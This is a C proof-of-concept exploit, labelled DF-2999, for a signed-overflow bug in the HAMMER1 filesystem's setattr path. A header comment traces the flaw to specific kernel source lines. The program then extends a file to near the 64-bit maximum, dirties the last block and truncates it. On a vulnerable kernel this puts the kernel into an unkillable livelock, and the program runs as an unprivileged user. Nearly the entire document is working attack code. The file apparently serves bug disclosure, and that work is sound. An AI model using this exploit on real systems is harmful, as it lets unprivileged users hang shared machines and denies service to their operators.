DF-2999 / op2999.c
/* * DF-2999 PoC: hammer1 (HAMMER1) missing va_size clamp -> DF-2921-class * signed overflow in nvtruncbuf()/nvnode_pager_setsize(). * * hammer_vop_setattr() (sys/vfs/hammer/hammer_vnops.c:2261-2286) passes the * unclamped 64-bit va_size straight to nvtruncbuf()/nvextendbuf(). With * blksize=HAMMER_XBUFSIZE(64K) for offsets >= HAMMER_XDEMARC(1MB): * * ftruncate(fd, 0x7ffffffffffff000) -> extend (nvextendbuf) * pwrite 1 byte near the end -> dirty the last block * ftruncate(fd, 0x7fffffffffff8000) -> truncate; boff=0x8000; * truncloffset = 0x7fffffffffff8000 + (65536-0x8000) = 2^63 -> INT64_MIN * (vfs_vm.c:149) and nobjsize arithmetic-shifts to ~0xFFF8000000000000 * (vfs_vm.c:464) -> unmap loop iterates ~2^63 times (vfs_vm.c:486). * * Run as an UNPRIVILEGED user on a HAMMER1 mount. On a vulnerable kernel * the second ftruncate never returns (unkillable livelock). */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/h1/df2999.bin"; setvbuf(stdout, NULL, _IONBF, 0); int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } if (ftruncate(fd, 0x7ffffffffffff000LL)) { printf("extend-> %s\n", strerror(errno)); return 1; } printf("extend to 0x7ffffffffffff000: OK\n"); if (pwrite(fd, "A", 1, 0x7fffffffffffefffLL) != 1) printf("pwrite top: %s\n", strerror(errno)); else printf("pwrite top byte: OK\n"); if (ftruncate(fd, 0x7fffffffffff8000LL)) { printf("trunc -> %s\n", strerror(errno)); return 1; } printf("truncate to 0x7fffffffffff8000: OK (returned!)\n"); if (ftruncate(fd, 0)) { perror("zero"); return 1; } printf("cleanup truncate to 0: OK\n"); close(fd); unlink(path); return 0; } |